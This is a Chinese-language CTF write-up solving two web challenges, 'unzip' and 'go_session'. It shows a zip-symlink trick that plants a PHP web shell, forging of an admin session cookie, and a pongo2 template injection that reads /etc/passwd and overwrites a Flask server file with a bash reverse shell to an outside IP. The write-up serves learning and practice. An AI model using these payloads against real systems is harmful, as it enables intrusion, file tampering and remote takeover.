Web
unzip
文件上传页面
upload.php页面源码显示了出来
<?php
error_reporting(0);
highlight_file(__FILE__);
$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
};
//only this!
可以看到,upload.php判断我们上传的文件必须是zip文件,然后会对其进行解压
此题我们可以通过软链接的方式做题
但不能文件链接文件,因为它是在tmp目录下解压文件的。我们需要对目录进行软链接
首先
ln -s /var/www/html shell
此时当前目录下就会生成一个shell目录,指向/var/www/html目录
下面我们进行打压缩包
zip -y 321.zip shell
然后上传上去,上传上去之后,就会立马解压缩了,那么现在shell目录已经链接到/var/www/html,当shell目录里出现了文件的变动,都会相对应在/var/www/html发生操作
接下来,我们创建一个shell文件夹,里面写一个shell.php
└─# mkdir shell
└─# cd shell
└─# cat shell.php
<?php system($_GET[0]);phpinfo();?>
然后对shell.php进行正常压缩,注意压缩包的文件名为shell.zip,要与上面链接的目录名一样
└─# zip shell.zip shell/*
最后上传,访问shell页面
go_session
题目提供了附件
go_session_4c91af79780fc70a4d21b272ba3a371c.zip
下面我们分析源代码
main.go
给了两个路由admin和flask
package main
import (
"github.com/gin-gonic/gin"
"main/route"
)
func main() {
r := gin.Default()
r.GET("/", route.Index)
r.GET("/admin", route.Admin)
r.GET("/flask", route.Flask)
r.Run("0.0.0.0:80")
}
route.go
package route
import (
"github.com/flosch/pongo2/v6"
"github.com/gin-gonic/gin"
"github.com/gorilla/sessions"
"html"
"io"
"net/http"
"os"
)
//从环境变量中获取session_key,然后赋值给store
var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))
func Index(c *gin.Context) {
//获取请求中的session-name
session, err := store.Get(c.Request, "session-name")
//如果没有获取到session-name,err不为nil,就会返回一个错误的http状态码
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
//如果session里面的name值为nil,进入下面的代码块
if session.Values["name"] == nil {
//设置name为guest
session.Values["name"] = "guest"
//将name为guest的session保存到我们的请求头
err = session.Save(c.Request, c.Writer)
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
}
c.String(200, "Hello, guest")
}
func Admin(c *gin.Context) {
//获取session,判断session是否为空
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
//判断session中的name,不等于admin就返回N0
if session.Values["name"] != "admin" {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}
//获取一个为name的查询参数,参数值不存在就使用ssti,这里主要是获取用户输入的数据
name := c.DefaultQuery("name", "ssti")
//对用户输入的内容进行html转义,防止xss
xssWaf := html.EscapeString(name)
//使用pongo2模板引擎创建一个包含用户输入内容的字符串模板
tpl, err := pongo2.FromString("Hello " + xssWaf + "!")
if err != nil {
panic(err)
}
//执行上面定义好的模板,将模板中的变量c替换为用户输入的内容
out, err := tpl.Execute(pongo2.Context{"c": c})
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
//返回一个包含用户输入内容的html字符串
c.String(200, out)
}
func Flask(c *gin.Context) {
//获取session,判断session是否为空
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
//判断session中的name是否为nil
if session.Values["name"] == nil {
if err != nil {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}
}
//向本地的5000端口发送一个HTTP请求加上用户输入的名字,如果没有输入就默认为guest
resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))
if err != nil {
return
}
//确保上面的函数执行完了,再关闭http请求
defer resp.Body.Close()
//读取http响应的内容,存储再boby变量中
body, _ := io.ReadAll(resp.Body)
//向用户返回一个包含本地服务响应内容的字符串
c.String(200, string(body))
}
这题的话,好像是远程的环境变量里session_key根本就没有,为空的,所以我们只需要在本地运行这个环境,将guest改成admin,我们就可以得到admin的session了
session.Values["name"] = "admin"
得到session以后,访问admin
接下来传入参数name,这里存在pongo2
模板注入漏洞
网上有关它的模板注入漏洞很少,直接翻官方文档
https://pkg.go.dev/github.com/flosch/pongo2
从中我发现了pongo2和Django的语法很类似
{{ pongo2.version }}
通过询问ai,得到如下结果
package main
import (
"fmt"
"github.com/flosch/pongo2"
"io/ioutil"
)
func main() {
// 读取/etc/passwd文件内容
content, err := ioutil.ReadFile("/etc/passwd")
if err != nil {
panic(err)
}
// 创建一个Pongo2模板
tpl := pongo2.Must(pongo2.FromString("{% include 'passwd' %}"))
// 注册一个名为'passwd'的模板
pongo2.RegisterTemplate("passwd", string(content))
// 执行模板并获取输出
out, err := tpl.Execute(nil)
if err != nil {
panic(err)
}
fmt.Println(out)
}
其中关键的代码就是
{% include 'passwd' %}
改成{% include '/etc/passwd' %}
我们在本地测试一下,先把html.EscapeString
转义注释掉
成功可以文件包含了,但是还有去绕过html.EscapeString
,这种html的转义基本上是无法绕过,只能通过别的方式传参进来
我们翻一翻go gin官方文档
https://pkg.go.dev/github.com/gin-gonic/gin@v1.9.0
为什么跑去翻这个了,注意看代码
下面是示例,是我本地的,有些地方可能被修改了,不用在意
官方文档如下:
但是这几个函数似乎都不行,都是必须要带有参数,直接问ai吧,go语言学的不深,男泵
给了我一丢丢启发,可以使用c.Request.UserAgent()
可以了,直接拿到远程来操作
成功读取,然后读取环境变量,得到flag
这里是非预期了,其实本地还有一个python环境,读取/app/server.py
这个python flask框架没啥洞,但是它debug是开着的,热部署,那我们就可以直接篡改server.py
接下来我们只要通过pongo2的模板注入,去篡改其文件内容就行了
第一步,写一个上传表单
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>文件上传表单</title>
</head>
<body>
<h1>文件上传表单</h1>
<form action="https://e12bf8ac-31cc-4191-b742-b8261494b8e3.challenge.ctf.show/admin" method="post" enctype="multipart/form-data">
<label for="file">选择文件:</label>
<input type="file" id="file" name="file">
<br><br>
<button type="submit">上传文件</button>
</form>
</body>
</html>
第二步,上传抓包该格式
GET /admin?name={{c.SaveUploadedFile(c.FormFile(c.Request.UserAgent()),c.Request.Referer())}} HTTP/1.1
Host: e12bf8ac-31cc-4191-b742-b8261494b8e3.challenge.ctf.show
User-Agent: file
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------208503974923088219412672941459
Content-Length: 509
Origin: http://192.168.123.129
Referer: /app/server.py
Cookie: session-name=MTcxNTE1NDI4OHxEWDhFQVFMX2dBQUJFQUVRQUFBal80QUFBUVp6ZEhKcGJtY01CZ0FFYm1GdFpRWnpkSEpwYm1jTUJ3QUZZV1J0YVc0PXwbjRagxTzeo4IEdTsWK0nJVqLDhQuJrWVe8t0OrOXgcA==
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close
-----------------------------208503974923088219412672941459
Content-Disposition: form-data; name="file"; filename="123.py"
Content-Type: text/plain
from flask import Flask, request
import subprocess
app = Flask(__name__)
@app.route('/')
def index():
return subprocess.call("bash -c 'bash -i >& /dev/tcp/60.204.170.160/8989 0>&1'", shell=True)
if __name__ == "__main__":
app.run(host="127.0.0.1", port=5000, debug=True)
-----------------------------208503974923088219412672941459--
注意几个点
然后我们再去查看server.py内容
完美篡改,我们去访问flask路由
func Flask(c *gin.Context) {
//获取session,判断session是否为空
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
//判断session中的name是否为nil
if session.Values["name"] == nil {
if err != nil {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}
}
//向本地的5000端口发送一个HTTP请求加上用户输入的名字,如果没有输入就默认为guest
resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))
if err != nil {
return
}
//确保上面的函数执行完了,再关闭http请求
defer resp.Body.Close()
//读取http响应的内容,存储再boby变量中
body, _ := io.ReadAll(resp.Body)
//向用户返回一个包含本地服务响应内容的字符串
c.String(200, string(body))
}
注意:为什么name要传/,这是因为如果默认为guest,最后的拼接结果就是 http://127.0.0.1:5000/guest python没有guest这个路由,肯定就报错了